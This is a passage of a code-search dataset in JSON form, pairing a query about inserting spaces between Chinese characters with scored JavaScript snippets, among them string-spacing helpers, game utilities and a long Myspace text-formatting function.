}, { "docid": "8a80494d49fa8c69f415473c73c2b0f3", "score": "0.5207208", "text": "function tileFound(val){\n\tif(found_tiles[posTileFound(val)]>0)\n\t\treturn true;\n\treturn false;\n}", "title": "" }, { "docid": "24c0692c44c41d0ca47728dd6749f9ff", "score": "0.52006006", "text": "function getCell(x, y) {\r\n let index = x + size[0] * y\r\n if (x < 0 || y < 0 || y > size[1] || x > size[0] || index < 0 || index >= cells.length || !cells[index])\r\n return;\r\n\r\n let class_val = cells[index].classList[1];\r\n\r\n if (class_val.includes(\"blank\")) class_val = -2;\r\n else if (class_val.includes(\"bombflagged\")) class_val = -1;\r\n else class_val = parseInt(class_val.replace(\"open\",\"\"));\r\n\r\n return {\r\n value: class_val, // -2 : unclicked, -1 : flagged, 0 : no number, 1 - 8 : number\r\n element: $(\"#\"+(y+1)+\"_\"+(x+1)),\r\n id: \"#\"+(y+1)+\"_\"+(x+1),\r\n position: [x, y]\r\n };\r\n}", "title": "" }, { "docid": "42ac0f35593bc644e3c4ae2f0d60ad7c", "score": "0.5198568", "text": "get(n)\n {\n this.m_z = (36969 * (this.m_z & 65535) + (this.m_z >> 16)) & 0xffffffff;\n this.m_w = (18000 * (this.m_w & 65535) + (this.m_w >> 16)) & 0xffffffff;\n let result = ((this.m_z << 16) + this.m_w) & 0xffffffff;\n return Math.abs(result) % n;\n }", "title": "" }, { "docid": "0bb77ff26034c128df474cadf7eef3ec", "score": "0.51963675", "text": "getPixel(x, y) {\n\t\tlet pixel = this._sprite.getImageData(x, y, 1, 1).data;\n\n\t\treturn {\n\t\t\tr: pixel[0],\n\t\t\tg: pixel[1],\n\t\t\tb: pixel[2],\n\t\t\ta: pixel[3],\n\t\t};\n\t}", "title": "" }, { "docid": "c71f9f4d27f78df5d4ce0741257cc3d7", "score": "0.51955855", "text": "function PboardGet(x, y)\n{\n return board[x * 7 + y];\n}", "title": "" } ]
6841db47302263d18cf537a0ffb47e04
Insert one space between two chinese characters automatically.
[ { "docid": "431a15199b565b060c4e4bd12c49d026", "score": "0.0", "text": "function insertSpace(child, needInserted) {\n // Check the child if is undefined or null.\n if (child == null) {\n return;\n }\n var SPACE = needInserted ? ' ' : '';\n // strictNullChecks oops.\n if (typeof child !== 'string' && typeof child !== 'number' && isString(child.type) && isTwoCNChar(child.props.children)) {\n return __WEBPACK_IMPORTED_MODULE_6_react___default.a.cloneElement(child, {}, child.props.children.split('').join(SPACE));\n }\n if (typeof child === 'string') {\n if (isTwoCNChar(child)) {\n child = child.split('').join(SPACE);\n }\n return __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n 'span',\n null,\n child\n );\n }\n return child;\n}", "title": "" } ]
[ { "docid": "9e2d4a72fabe4de83aa619aab332bccd", "score": "0.6747741", "text": "function fixChineseSpace(str) {\n return str.replace(/([^\\u4e00-\\u9fa5\\W])([\\u4e00-\\u9fa5])/g, '$1 $2');\n}", "title": "" }, { "docid": "ab089dc4d7fff2c151a1978c4f74d76a", "score": "0.63717735", "text": "function String_SpaceToNonBreakingSpace()\n{\n\t//replace them\n\treturn this.replace(/\\b {2}/g, \" &nbsp;\").replace(/ {2}\\b/g, \"&nbsp; \").replace(/ {2}/g, \"&nbsp;&nbsp;\");\n}", "title": "" }, { "docid": "49de77b92688ac0a2b56b5f220b25e7f", "score": "0.6084336", "text": "function addSpaceText() {\n\tappendText(\" \");\n}", "title": "" }, { "docid": "cb61cf356c239cfff977424f837a18a2", "score": "0.6008744", "text": "function qwerty_addSpaceText() {\n\tqwerty_appendText(\" \");\n}", "title": "" }, { "docid": "f5708eaccd9a285ef6b145a12a39ecb6", "score": "0.5974803", "text": "function qwerty_addSpaceText() {\r\n\tqwerty_appendText(\" \");\r\n}", "title": "" }, { "docid": "f5708eaccd9a285ef6b145a12a39ecb6", "score": "0.5974803", "text": "function qwerty_addSpaceText() {\r\n\tqwerty_appendText(\" \");\r\n}", "title": "" }, { "docid": "f5708eaccd9a285ef6b145a12a39ecb6", "score": "0.5974803", "text": "function qwerty_addSpaceText() {\r\n\tqwerty_appendText(\" \");\r\n}", "title": "" }, { "docid": "89b546107622453dc6f0d732dd9c59f1", "score": "0.5844706", "text": "function insertSpace(match, val) {\n return val + ' ';\n }", "title": "" }, { "docid": "0f53bedbf979e2c1d5b4cf505792039f", "score": "0.5815758", "text": "function insertCharset(str) {\n return str.replace(/&#173;|&#8203;|<wbr>/g, function() { return randomListItem(charRandom); });\n}", "title": "" }, { "docid": "e221d5d85ab60ce15654c21939bb6579", "score": "0.5760093", "text": "function setw(pStr, pLen, before)\n{\n var browser=navigator.appName;\n var nbSpace = \"&nbsp;\";\n if (browser==\"Microsoft Internet Explorer\")\n {\n nbSpace = \" \"; \n }\n var rStr = pStr;\n var spaceToAdd = 0;\n if (rStr.length > pLen)\n {\n rStr = rStr.substring(0,pLen);\n }\n else\n {\n spaceToAdd = pLen - rStr.length;\n }\n for(j = 0; j < spaceToAdd; j++) \n {\n if(before)\n { \n rStr = nbSpace + rStr;\n }\n else\n {\n rStr = \"\" + rStr + nbSpace;\n }\n }\n return rStr;\n}", "title": "" }, { "docid": "9c1ef1793a9cfba50e1c8c2bfe9f4ba0", "score": "0.57020164", "text": "function showSpaces(string) {\n return string && string.replace(/^\\s|\\s$/g, '␣');\n}", "title": "" }, { "docid": "7bcd2fbc67081e26a7b9a2b6324b8a9b", "score": "0.56661946", "text": "function insereTagsKM() {\r\n $('#uV').text('\\tKm/h');\r\n $('#uD').text('\\tKm');\r\n $('#uH').text('\\tMetros');\r\n $('#uR').text('\\t/Km');\r\n}", "title": "" }, { "docid": "38f8248e543a018c3951f91b2beaae91", "score": "0.56119484", "text": "function fixUp(val) {\n return val.replace('·', '*')\n .replace(\"⋅\", '*')\n .replace('\\u2212', '-')\n .replace('\\u0192', 'f')\n .replace('\\xa0', ''); // space\n }", "title": "" }, { "docid": "237379340978896acf0d1d6aa310c620", "score": "0.5607152", "text": "function replaceSpace(input) \n{\n if (input.indexOf(\" \")) \n {\n input.replace(\" \", \"%20\"); \n }\n return input;\n}", "title": "" }, { "docid": "5ab0f7f36ccd2b747deff661e0e2a6c5", "score": "0.5597727", "text": "function insereTagsImp() {\r\n $('#uV').text('\\tMph');\r\n $('#uD').text('\\tMilhas');\r\n $('#uH').text('\\tPés');\r\n $('#uR').text('\\t/Mi');\r\n}", "title": "" }, { "docid": "d7daa2172bfaed1196141bc6eb7025ab", "score": "0.55941427", "text": "space() {\n\t\t\tthis.append(' ');\n\t\t}", "title": "" }, { "docid": "a211b5497b5e8e863c44ba2d6d51ad44", "score": "0.55934805", "text": "function spaceBetweenWords(word1, word2){\n if (word1 && word2) {\n \tvar prev = word1.substring(word1.length-1);\n \tvar next = word2.substring(0, 1);\n \tvar alphabet = \"abcdefghijklmnopqrstuvwxyz&1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n \tvar no_space_before=\".!,``)?;:%\\\"'\";\n \tvar no_space_after='\\'\"``(';\n \tvar contractions = \"n't\";\n \tif (next==\".\"){\n \t return \"\";\n \t}\n \tif (contractions.indexOf(word2) >= 0) {\n \t\treturn '';\n \t} else if(no_space_before.indexOf(next) >= 0){\n \t\treturn '';\n \t}else if(no_space_after.indexOf(prev) >= 0){\n \t\treturn '';\n \t}else{\n \t\treturn ' ';\n \t}\n\t} else {\n\t return \" \";\n\t}\n}", "title": "" }, { "docid": "5dd5ef7f83ad1b897aef96ea9ccdb875", "score": "0.55720055", "text": "function add_zerowidth(wat) {\n\treturn wat.substring(0, 1) + '\\u200B' + wat.substring(1);\n}", "title": "" }, { "docid": "5c1eeaaa9df80945ff06bcf60bbd26b9", "score": "0.5571195", "text": "function flat2(){\n vm.input = vm.input.concat(\"😑\");\n }", "title": "" }, { "docid": "c9966a67c474d39da6a2500e0cb889ac", "score": "0.5566838", "text": "function addSpaces(randomWord) {\n for (var i = 0; i < randomWord.length; i++) {\n if (randomWord[i] != \" \") {\n $(\"<span class='letters'>\").text(\"_ \").appendTo(\"#chalk\");\n } else {\n $(\"<span class='letters'>\").html('&nbsp&nbsp&nbsp;').appendTo(\"#chalk\");\n winCounter++;\n }\n }\n}", "title": "" }, { "docid": "6300fd81901840ca336f67c4c4530c60", "score": "0.55437607", "text": "function replaceSpaces(value) {\n var pattern = new RegExp(\" \", \"g\");\n return value.replace(pattern, '&nbsp;');\n}", "title": "" }, { "docid": "1d65fc192b18321a0fedb81d903ab1fe", "score": "0.55344486", "text": "function winkle(){\n vm.input = vm.input.concat(\"😉\");\n }", "title": "" }, { "docid": "b7b62271712674707ea53f8095798e64", "score": "0.5501363", "text": "function myspacefmt(text) {\n\n\ts = text\n\n\t// Turn special characters back into HTML entities so they don't get stripped\n\t// List is from the tables at http://www.htmlhelp.com/reference/html40/entities/\n\ts = s.replace(/\\uA0/g, '&nbsp;');\n\ts = s.replace(/\\uA1/g, '&iexcl;');\n\ts = s.replace(/\\uA2/g, '&cent;');\n\ts = s.replace(/\\uA3/g, '&pound;');\n\ts = s.replace(/\\uA4/g, '&curren;');\n\ts = s.replace(/\\uA5/g, '&yen;');\n\ts = s.replace(/\\uA6/g, '&brvbar;');\n\ts = s.replace(/\\uA7/g, '&sect;');\n\ts = s.replace(/\\uA8/g, '&uml;');\n\ts = s.replace(/\\uA9/g, '&copy;');\n\ts = s.replace(/\\uAA/g, '&ordf;');\n\ts = s.replace(/\\uAB/g, '&laquo;');\n\ts = s.replace(/\\uAC/g, '&not;');\n\ts = s.replace(/\\uAD/g, '&shy;');\n\ts = s.replace(/\\uAE/g, '&reg;');\n\ts = s.replace(/\\uAF/g, '&macr;');\n\ts = s.replace(/\\uB0/g, '&deg;');\n\ts = s.replace(/\\uB1/g, '&plusmn;');\n\ts = s.replace(/\\uB2/g, '&sup2;');\n\ts = s.replace(/\\uB3/g, '&sup3;');\n\ts = s.replace(/\\uB4/g, '&acute;');\n\ts = s.replace(/\\uB5/g, '&micro;');\n\ts = s.replace(/\\uB6/g, '&para;');\n\ts = s.replace(/\\uB7/g, '&middot;');\n\ts = s.replace(/\\uB8/g, '&cedil;');\n\ts = s.replace(/\\uB9/g, '&sup1;');\n\ts = s.replace(/\\uBA/g, '&ordm;');\n\ts = s.replace(/\\uBB/g, '&raquo;');\n\ts = s.replace(/\\uBC/g, '&frac14;');\n\ts = s.replace(/\\uBD/g, '&frac12;');\n\ts = s.replace(/\\uBE/g, '&frac34;');\n\ts = s.replace(/\\uBF/g, '&iquest;');\n\ts = s.replace(/\\uC0/g, '&Agrave;');\n\ts = s.replace(/\\uC1/g, '&Aacute;');\n\ts = s.replace(/\\uC2/g, '&Acirc;');\n\ts = s.replace(/\\uC3/g, '&Atilde;');\n\ts = s.replace(/\\uC4/g, '&Auml;');\n\ts = s.replace(/\\uC5/g, '&Aring;');\n\ts = s.replace(/\\uC6/g, '&AElig;');\n\ts = s.replace(/\\uC7/g, '&Ccedil;');\n\ts = s.replace(/\\uC8/g, '&Egrave;');\n\ts = s.replace(/\\uC9/g, '&Eacute;');\n\ts = s.replace(/\\uCA/g, '&Ecirc;');\n\ts = s.replace(/\\uCB/g, '&Euml;');\n\ts = s.replace(/\\uCC/g, '&Igrave;');\n\ts = s.replace(/\\uCD/g, '&Iacute;');\n\ts = s.replace(/\\uCE/g, '&Icirc;');\n\ts = s.replace(/\\uCF/g, '&Iuml;');\n\ts = s.replace(/\\uD0/g, '&ETH;');\n\ts = s.replace(/\\uD1/g, '&Ntilde;');\n\ts = s.replace(/\\uD2/g, '&Ograve;');\n\ts = s.replace(/\\uD3/g, '&Oacute;');\n\ts = s.replace(/\\uD4/g, '&Ocirc;');\n\ts = s.replace(/\\uD5/g, '&Otilde;');\n\ts = s.replace(/\\uD6/g, '&Ouml;');\n\ts = s.replace(/\\uD7/g, '&times;');\n\ts = s.replace(/\\uD8/g, '&Oslash;');\n\ts = s.replace(/\\uD9/g, '&Ugrave;');\n\ts = s.replace(/\\uDA/g, '&Uacute;');\n\ts = s.replace(/\\uDB/g, '&Ucirc;');\n\ts = s.replace(/\\uDC/g, '&Uuml;');\n\ts = s.replace(/\\uDD/g, '&Yacute;');\n\ts = s.replace(/\\uDE/g, '&THORN;');\n\ts = s.replace(/\\uDF/g, '&szlig;');\n\ts = s.replace(/\\uE0/g, '&agrave;');\n\ts = s.replace(/\\uE1/g, '&aacute;');\n\ts = s.replace(/\\uE2/g, '&acirc;');\n\ts = s.replace(/\\uE3/g, '&atilde;');\n\ts = s.replace(/\\uE4/g, '&auml;');\n\ts = s.replace(/\\uE5/g, '&aring;');\n\ts = s.replace(/\\uE6/g, '&aelig;');\n\ts = s.replace(/\\uE7/g, '&ccedil;');\n\ts = s.replace(/\\uE8/g, '&egrave;');\n\ts = s.replace(/\\uE9/g, '&eacute;');\n\ts = s.replace(/\\uEA/g, '&ecirc;');\n\ts = s.replace(/\\uEB/g, '&euml;');\n\ts = s.replace(/\\uEC/g, '&igrave;');\n\ts = s.replace(/\\uED/g, '&iacute;');\n\ts = s.replace(/\\uEE/g, '&icirc;');\n\ts = s.replace(/\\uEF/g, '&iuml;');\n\ts = s.replace(/\\uF0/g, '&eth;');\n\ts = s.replace(/\\uF1/g, '&ntilde;');\n\ts = s.replace(/\\uF2/g, '&ograve;');\n\ts = s.replace(/\\uF3/g, '&oacute;');\n\ts = s.replace(/\\uF4/g, '&ocirc;');\n\ts = s.replace(/\\uF5/g, '&otilde;');\n\ts = s.replace(/\\uF6/g, '&ouml;');\n\ts = s.replace(/\\uF7/g, '&divide;');\n\ts = s.replace(/\\uF8/g, '&oslash;');\n\ts = s.replace(/\\uF9/g, '&ugrave;');\n\ts = s.replace(/\\uFA/g, '&uacute;');\n\ts = s.replace(/\\uFB/g, '&ucirc;');\n\ts = s.replace(/\\uFC/g, '&uuml;');\n\ts = s.replace(/\\uFD/g, '&yacute;');\n\ts = s.replace(/\\uFE/g, '&thorn;');\n\ts = s.replace(/\\uFF/g, '&yuml;');\n\ts = s.replace(/\\u192/g, '&fnof;');\n\ts = s.replace(/\\u391/g, '&Alpha;');\n\ts = s.replace(/\\u392/g, '&Beta;');\n\ts = s.replace(/\\u393/g, '&Gamma;');\n\ts = s.replace(/\\u394/g, '&Delta;');\n\ts = s.replace(/\\u395/g, '&Epsilon;');\n\ts = s.replace(/\\u396/g, '&Zeta;');\n\ts = s.replace(/\\u397/g, '&Eta;');\n\ts = s.replace(/\\u398/g, '&Theta;');\n\ts = s.replace(/\\u399/g, '&Iota;');\n\ts = s.replace(/\\u39A/g, '&Kappa;');\n\ts = s.replace(/\\u39B/g, '&Lambda;');\n\ts = s.replace(/\\u39C/g, '&Mu;');\n\ts = s.replace(/\\u39D/g, '&Nu;');\n\ts = s.replace(/\\u39E/g, '&Xi;');\n\ts = s.replace(/\\u39F/g, '&Omicron;');\n\ts = s.replace(/\\u3A0/g, '&Pi;');\n\ts = s.replace(/\\u3A1/g, '&Rho;');\n\ts = s.replace(/\\u3A3/g, '&Sigma;');\n\ts = s.replace(/\\u3A4/g, '&Tau;');\n\ts = s.replace(/\\u3A5/g, '&Upsilon;');\n\ts = s.replace(/\\u3A6/g, '&Phi;');\n\ts = s.replace(/\\u3A7/g, '&Chi;');\n\ts = s.replace(/\\u3A8/g, '&Psi;');\n\ts = s.replace(/\\u3A9/g, '&Omega;');\n\ts = s.replace(/\\u3B1/g, '&alpha;');\n\ts = s.replace(/\\u3B2/g, '&beta;');\n\ts = s.replace(/\\u3B3/g, '&gamma;');\n\ts = s.replace(/\\u3B4/g, '&delta;');\n\ts = s.replace(/\\u3B5/g, '&epsilon;');\n\ts = s.replace(/\\u3B6/g, '&zeta;');\n\ts = s.replace(/\\u3B7/g, '&eta;');\n\ts = s.replace(/\\u3B8/g, '&theta;');\n\ts = s.replace(/\\u3B9/g, '&iota;');\n\ts = s.replace(/\\u3BA/g, '&kappa;');\n\ts = s.replace(/\\u3BB/g, '&lambda;');\n\ts = s.replace(/\\u3BC/g, '&mu;');\n\ts = s.replace(/\\u3BD/g, '&nu;');\n\ts = s.replace(/\\u3BE/g, '&xi;');\n\ts = s.replace(/\\u3BF/g, '&omicron;');\n\ts = s.replace(/\\u3C0/g, '&pi;');\n\ts = s.replace(/\\u3C1/g, '&rho;');\n\ts = s.replace(/\\u3C2/g, '&sigmaf;');\n\ts = s.replace(/\\u3C3/g, '&sigma;');\n\ts = s.replace(/\\u3C4/g, '&tau;');\n\ts = s.replace(/\\u3C5/g, '&upsilon;');\n\ts = s.replace(/\\u3C6/g, '&phi;');\n\ts = s.replace(/\\u3C7/g, '&chi;');\n\ts = s.replace(/\\u3C8/g, '&psi;');\n\ts = s.replace(/\\u3C9/g, '&omega;');\n\ts = s.replace(/\\u3D1/g, '&thetasym;');\n\ts = s.replace(/\\u3D2/g, '&upsih;');\n\ts = s.replace(/\\u3D6/g, '&piv;');\n\ts = s.replace(/\\u2022/g, '&bull;');\n\ts = s.replace(/\\u2026/g, '&hellip;');\n\ts = s.replace(/\\u2032/g, '&prime;');\n\ts = s.replace(/\\u2033/g, '&Prime;');\n\ts = s.replace(/\\u203E/g, '&oline;');\n\ts = s.replace(/\\u2044/g, '&frasl;');\n\ts = s.replace(/\\u2118/g, '&weierp;');\n\ts = s.replace(/\\u2111/g, '&image;');\n\ts = s.replace(/\\u211C/g, '&real;');\n\ts = s.replace(/\\u2122/g, '&trade;');\n\ts = s.replace(/\\u2135/g, '&alefsym;');\n\ts = s.replace(/\\u2190/g, '&larr;');\n\ts = s.replace(/\\u2191/g, '&uarr;');\n\ts = s.replace(/\\u2192/g, '&rarr;');\n\ts = s.replace(/\\u2193/g, '&darr;');\n\ts = s.replace(/\\u2194/g, '&harr;');\n\ts = s.replace(/\\u21B5/g, '&crarr;');\n\ts = s.replace(/\\u21D0/g, '&lArr;');\n\ts = s.replace(/\\u21D1/g, '&uArr;');\n\ts = s.replace(/\\u21D2/g, '&rArr;');\n\ts = s.replace(/\\u21D3/g, '&dArr;');\n\ts = s.replace(/\\u21D4/g, '&hArr;');\n\ts = s.replace(/\\u2200/g, '&forall;');\n\ts = s.replace(/\\u2202/g, '&part;');\n\ts = s.replace(/\\u2203/g, '&exist;');\n\ts = s.replace(/\\u2205/g, '&empty;');\n\ts = s.replace(/\\u2207/g, '&nabla;');\n\ts = s.replace(/\\u2208/g, '&isin;');\n\ts = s.replace(/\\u2209/g, '&notin;');\n\ts = s.replace(/\\u220B/g, '&ni;');\n\ts = s.replace(/\\u220F/g, '&prod;');\n\ts = s.replace(/\\u2211/g, '&sum;');\n\ts = s.replace(/\\u2212/g, '&minus;');\n\ts = s.replace(/\\u2217/g, '&lowast;');\n\ts = s.replace(/\\u221A/g, '&radic;');\n\ts = s.replace(/\\u221D/g, '&prop;');\n\ts = s.replace(/\\u221E/g, '&infin;');\n\ts = s.replace(/\\u2220/g, '&ang;');\n\ts = s.replace(/\\u2227/g, '&and;');\n\ts = s.replace(/\\u2228/g, '&or;');\n\ts = s.replace(/\\u2229/g, '&cap;');\n\ts = s.replace(/\\u222A/g, '&cup;');\n\ts = s.replace(/\\u222B/g, '&int;');\n\ts = s.replace(/\\u2234/g, '&there4;');\n\ts = s.replace(/\\u223C/g, '&sim;');\n\ts = s.replace(/\\u2245/g, '&cong;');\n\ts = s.replace(/\\u2248/g, '&asymp;');\n\ts = s.replace(/\\u2260/g, '&ne;');\n\ts = s.replace(/\\u2261/g, '&equiv;');\n\ts = s.replace(/\\u2264/g, '&le;');\n\ts = s.replace(/\\u2265/g, '&ge;');\n\ts = s.replace(/\\u2282/g, '&sub;');\n\ts = s.replace(/\\u2283/g, '&sup;');\n\ts = s.replace(/\\u2284/g, '&nsub;');\n\ts = s.replace(/\\u2286/g, '&sube;');\n\ts = s.replace(/\\u2287/g, '&supe;');\n\ts = s.replace(/\\u2295/g, '&oplus;');\n\ts = s.replace(/\\u2297/g, '&otimes;');\n\ts = s.replace(/\\u22A5/g, '&perp;');\n\ts = s.replace(/\\u22C5/g, '&sdot;');\n\ts = s.replace(/\\u2308/g, '&lceil;');\n\ts = s.replace(/\\u2309/g, '&rceil;');\n\ts = s.replace(/\\u230A/g, '&lfloor;');\n\ts = s.replace(/\\u230B/g, '&rfloor;');\n\ts = s.replace(/\\u2329/g, '&lang;');\n\ts = s.replace(/\\u232A/g, '&rang;');\n\ts = s.replace(/\\u25CA/g, '&loz;');\n\ts = s.replace(/\\u2660/g, '&spades;');\n\ts = s.replace(/\\u2663/g, '&clubs;');\n\ts = s.replace(/\\u2665/g, '&hearts;');\n\ts = s.replace(/\\u2666/g, '&diams;');\n\ts = s.replace(/\\u152/g, '&OElig;');\n\ts = s.replace(/\\u153/g, '&oelig;');\n\ts = s.replace(/\\u160/g, '&Scaron;');\n\ts = s.replace(/\\u161/g, '&scaron;');\n\ts = s.replace(/\\u178/g, '&Yuml;');\n\ts = s.replace(/\\u2C6/g, '&circ;');\n\ts = s.replace(/\\u2DC/g, '&tilde;');\n\ts = s.replace(/\\u2002/g, '&ensp;');\n\ts = s.replace(/\\u2003/g, '&emsp;');\n\ts = s.replace(/\\u2009/g, '&thinsp;');\n\t// Blanking these four because they screw things up:\n\ts = s.replace(/\\u200C/g, ' ');\n\ts = s.replace(/\\u200D/g, ' ');\n\ts = s.replace(/\\u200E/g, ' ');\n\ts = s.replace(/\\u200F/g, ' ');\n\ts = s.replace(/\\u2020/g, '&dagger;');\n\ts = s.replace(/\\u2021/g, '&Dagger;');\n\ts = s.replace(/\\u2030/g, '&permil;');\n\ts = s.replace(/\\u2039/g, '&lsaquo;');\n\ts = s.replace(/\\u203A/g, '&rsaquo;');\n\ts = s.replace(/\\u20AC/g, '&euro;');\n\t\n\n\treplacements = [\n\n//\t[//g, ''], \n\n\t// Cyrillic quotes\n//\t[/(\\s+|^)\"([^\"]+?)\"(\\s+|$|\\.|\\,)/g, '$1\\u00ab$2\\u00bb$3'],\n\n\t// Latin quotes: \"test\" become smart quotes\n\t[/(\\s+|^)\"([^\\\"]+?)\"(\\s+|$|\\.|\\,)/g, '$1&ldquo;$2&rdquo;$3'],\n\t[/(\\s+|^)'([^\\']+?)'(\\s+|$|\\.|\\,)/g, '$1&lsquo;$2&rsquo;$3'],\n\n\t// Trademark: (TM)\n\t[/\\((tm|TM|\\u0422\\u041C|\\u0442\\u043C)\\)/g, '&trade;'],\n\n\t// Copyright: (C)\n\t[/\\([cC\\u0421\\u0441]\\)/g, '&copy;'],\n\n\t// Registered: (R)\n\t[/\\([rR\\u0420\\u0440]\\)/g, '&reg;'],\n\t\n\t// Hearts, of course! <3\n\t[/(\\s)(<3)(\\s)/g, '$1\\&hearts;$3'],\n\t\n\t// Section symbol, by request: {SS}\n\t[/\\{SS\\}/g, '&sect;'], \n\n\t// Arrows ==> <-- <==> and so on\n\t[/([^<])-{2}>/g, '$1&rarr;'],\n\t[/<-{2}([^>])/g, '&larr;$1'],\n\t[/<-{1,2}>/g, '&harr;'],\n\t[/([^<])={2}>/g, '$1&rArr;'],\n\t[/<={2}([^>])/g, '&lArr;$1'],\n\t[/<={1,2}>/g, '&hArr;'],\n\n\t// Horizontal rules: ---- becomes <hr>\n\t[/\\n----+\\n/g, '<hr>'], \n\t\n\t// Degree sign: degC becomes &deg;C (K does not have a degree sign!)\n\t[/degC(\\s)/g, '&deg;C$1'], \n\t[/degF(\\s)/g, '&deg;F$1'], \t\n\t\n\t// TeX subs and supers: x squared: x^{2} carbon dioxide: CO_{2}\n\t[/\\^\\{(.*?)\\}/g, '<sup>$1</sup>'], \n\t[/_\\{(.*?)\\}/g, '<sub>$1</sub>'], \n\t\t\n\t// Scientific notation: 3.5E2 becomes 3.5&times;10<sup>2</sup>\n\t[/(\\d)E(\\d+)/g, '$1&times;10<sup>$2</sup>'], \n\t\n\t// Plus or minus sign +-5 becomes &plusmn;5\n\t[/\\+-(\\d)/g, '&plusmn;$1'], \n\n\t// Censorship is evil.\n//\t[/A(IM\\s*)\\:/gi, '&Acirc;$1:'],\n\n\t// These screw up your posts if you've got 'em (Myspace sucks). It converts to something similar looking. :-\\ Best I can do...\n//\t[/\\#/gi, '&Dagger;&Dagger;'],\n\t[/\\\\/gi, '&lfloor;'],\n\n\t// Em dash -- two minuses surrounded by spaces\n\t[/(\\s+|^)--(\\s+)/g, '$1\\u2014$2'],\n\n\t// **bold**\t\n\t[/\\*{2}(.+?)\\*{2}/g, '<b>$1</b>'],\n\n\t// '''Wikipedia strong emphasis''' (rendered as bold usually)\n\t[/\\'{3}(.+?)\\'{3}/g, '<strong>$1</strong>'],\n\n\t// //italic//\n\t[/([^\\:]|^)\\/{2}(.+?)\\/{2}/g, '$1<i>$2</i>'],\n\n\t// ''Wikipedia emphasis'' (rendered as italics usually)\n\t[/\\'{2}(.+?)\\'{2}/g, '<em>$1</em>'],\n\n\t// --strikethrough--\n\t[/-{2}(.+?)-{2}/g, '<s>$1</s>'],\n\n\t// __underlined__\n\t[/_{2}(.+?)_{2}/g, '<u>$1</u>'],\n\t\n\t// A few colors? [blue]text[/color] becomes <font color=\"0000BB\">text</font> (will also accept [bl]text[/bl] or whatever)\n\t[/\\[(bk|k|black)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t'<font color=\"black\">$2</font>'],\n\t[/\\[(n|navy)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"navy\">$2</font>'],\t\n\t[/\\[(gn|green)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"green\">$2</font>'],\n\t[/\\[(tl|teal)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"teal\">$2</font>'], // [t] would conflict with quote tags\n\t[/\\[(s|silver)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"silver\">$2</font>'],\t\n\t[/\\[(bl|be|bu|blue)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t'<font color=\"blue\">$2</font>'],\t\n\t[/\\[(l|lime)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"lime\">$2</font>'],\t\n\t[/\\[(a|aq|aqua|c|cy|cyan)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t'<font color=\"aqua\">$2</font>'],\t\n\t[/\\[(m|maroon)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"maroon\">$2</font>'],\n\t[/\\[(p|purple|v|violet)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t'<font color=\"purple\">$2</font>'],\t\n\t[/\\[(o|olive)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t'<font color=\"olive\">$2</font>'],\n\t[/\\[(gy|gray|grey)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t'<font color=\"gray\">$2</font>'],\n\t[/\\[(r|red)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t\t\t'<font color=\"red\">$2</font>'],\t\n\t[/\\[(f|fuschia|magenta)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t'<font color=\"fuschia\">$2</font>'],\t\n\t[/\\[(y|yw|yellow)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t'<font color=\"yellow\">$2</font>'],\t\n\t[/\\[(w|wh|white)\\]([\\s\\S]*?)\\[\\/(\\1|c|color)?\\]/gim,\t\t\t'<font color=\"white\">$2</font>'],\t\n\t\n\t// En dash for number ranges: 1995-2005\n\t[/(\\d+)-(\\d+)/g, '$1\\u2013$2'],\n\n\t// Ellipsis\n//\t[/\\.\\.\\./g, '\\u2026'],\n\n\t// [quote] tags [/quote] (or [q] or [Q] or [t] or whatever)\n\t// First replace the SomeoneWrote: bit with legend tags\n\t[/\\[(quote|q|t)\\](\\s*\\n?)([^\\n]*)Wrote:(\\s*\\n)([\\s\\S]*?)\\[\\/(quote|q|t)\\]/gim, '[$1]<legend>$3 wrote:</legend>$5[/$6]'],\n\t// Then replace the rest with fieldset tags \n\t[/\\[(quote|q|t)\\]([\\s\\S]*?)\\[\\/(quote|q|t)\\]/gim, '<fieldset style=\"border: 1px solid; border-color: aaaaaa; padding: 1em; margin: 1em 2em;\">$2</fieldset>'],\n\t// (This way it can handle nested quotes and optional \"Wrote:\" sections.)\n\n\t// Old version of quotes based directly on Myspace's quote markup:\t\n//\t[/\\[(quote|q|t)\\]([\\s\\S]*?)\\[\\/(quote|q|t)\\]/gim, '<table align=\"center\" bgcolor=\"cccccc\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"90%\"><tbody><tr><td><table bgcolor=\"ffffff\" border=\"0\" cellpadding=\"10\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td><p>$2</p></td></tr></tbody></table></td></tr></tbody></table>'],\n\n\t// Image shortcut IMG=http://www.url.com/image.png surrounded by whitespace.\n\t[/(\\s)IMG=(\\S*?)([\\s\\]])/gi, '$1<img src=\"$2\">$3'],\n\t\n\t// Named URLs in wikipedia format [http://address linked text]\n\t[/\\[http:([^ \\t\\v\\f\\n\\r\\]]*?)\\s+(\\S.*?)\\]/gi, '<a href=\"http:$1\">$2</a>'],\n\t\n\t// Myspace URLs [my:Firefox] or [myspace:Firefox] becomes http://www.myspace.com/Firefox\n\t[/\\[(my|myspace):(\\S.*?)\\]/gi, '<a href=\"http://www.myspace.com/$2\">Myspace: $2</a>'],\n\t\n\t// Myspace group URLs [gr:toolbar] or [group:toolbar] becomes 